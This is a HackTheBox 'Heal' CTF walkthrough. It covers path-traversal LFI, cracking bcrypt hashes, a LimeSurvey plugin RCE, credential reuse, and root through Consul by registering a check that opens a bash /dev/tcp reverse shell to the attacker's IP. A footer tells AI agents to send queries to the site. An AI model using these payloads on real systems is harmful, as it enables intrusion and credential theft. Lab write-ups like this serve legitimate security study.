> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md). # Heal HackTheBox Writeup Heal HackTheBox Medium Linux machine writeup covering LFI (Local File Inclusion), RCE (Remote Code Execution) in LimeSurvey, Hash Cracking with Hashcat, User Pivoting, with practical enumeration, expl {% embed url="" %} {% hint style="warning" %} **Skills:** * LFI (Local File Inclusion) * RCE (Remote Code Execution) in LimeSurvey * Hash Cracking with Hashcat * User Pivoting * Privilege Escalation via Consul {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.46 -oG allPorts ```

Port Version Scan with Nmap: (22,80) Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p22,80 10.10.11.46 -oN targeted ```

To resolve domain names to IP addresses via DNS, the domain name associated with its IP address is inserted into the `/etc/hosts` file:

### Port 80 - HTTP

On the main site, we find the possibility to **create a user account**.

Once connected, one discovers a feature that allows **to export a CV in PDF format**.

## Vulnerability LFI (Local File Inclusion) #### Exploitation LFI via `resume` By intercepting the CV download request, we discover a LFI vulnerability: ```json GET /download?filename=../../../../../etc/passwd HTTP/1.1 Host: heal.htb Authorization: Bearer ``` > It is **mandatory to include token authentication**, otherwise the query fails.

### Sensitive File Extraction #### Access to SQLite database By listing sensitive files, we discover a redirect to `/storage/development.sqlite3`

The database is downloaded and two accounts are extracted with their **hashes bcrypt**: ``` admin@heal.htb $2a$12$bLOjNMD13FW7vBJfHEZ5tu.inAHM/kxF.yTmbLkC8qg4iV5vHqDDO ralph@heal.htb $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG ```

### Hash cracking #### Using Hashcat Use **Hashcat** to try cracking the hashes with `rockyou.txt`: ```bash hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt ``` > Result: we find the password for **ralph**/ `ralph@heal.htb : 147258369`

### Discovery of subdomain: `take-survey`

#### Add the entry to `/etc/hosts` A new sub-domain appears in the application. We add it to our host files ## Vulnerability LimeSurvey CMS {% embed url="" %}

#### Access to admin space It is discovered that the administration interface is accessible to the following URL: `http://take-survey.heal.htb/index.php/admin` We connect to Ralph's IDs: * **Username** : `ralph` * **Password** : `147258369`

We found that the version used of LimeSurvey was **6.6.4**, which is vulnerable to a **Remote Code Execution (NCE)**.

### RCE Exploitation via a Malicious Plugin {% embed url="" %} We adapted the operating script to our situation.

First, we created a compressed file containing a `config.xml` file and a PHP shell reverse script: ```bash zip -r N4s1rl1.zip config.xml revshell.php ```

Then we installed this malicious plugin via the LimeSurvey web interface.

By passing the mouse on the installed plugin, we detected the plugin ID.

After editing the script to include this ID, we played on port 443: ```bash nc -nlvp 443 ``` Finally, we executed the exploit via Python: ```bash python3 exploit.py http://take-survey.heal.htb ralph 147258369 80 ```

#### Linux Terminal Stabilization: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## Pivoting User ron By exploring the machine, we found another user **ron**.

A configuration file in the `application` folder contained logins and passwords for database access: * username = `db_user` * password = `AdmiDi0_pA$$w0rd`

With these credentials, we were able to access the account of **ron**, which enabled us to obtain the **flag user.txt**.

### Flag user.txt :)

## **Privilege Escalation** ### Discovery of Port 8500 (Consul) Looking at the open ports, we found the port **8500**, which corresponds to the web interface of Consul.

After making a query on `127.0.0.1:8500/ui/`, we found the version of Consul **1.19.2**. ```bash curl 127.0.0.1:8500/ui/ ```

#### REST API Access Check We tested the Consul REST API to check if it was accessible without authentication: ```bash curl http://127.0.0.1:8500/v1/agent/self ``` We obtained an answer confirming that the API was open. ### Exploitation via a Malicious Check We recorded a service with a malicious check using a bash command to open a shell reverse to our machine: ```bash nc -lvnp 4444 ``` #### Register a service with a malicious check Consul allows dynamic recording of services via an HTTP request. We use this to create a "check" that executes a bash command. ```bash curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{ "Name": "pwned", "ID": "pwned", "Check": { "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"], "Interval": "10s" } }' ``` What this payload does: * `Check.Args[]`: contains a bash command that opens a **reverse shell**. * `Interval`: Sets automatic execution every 10 seconds. By running this payload, we managed to get a root shell.

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.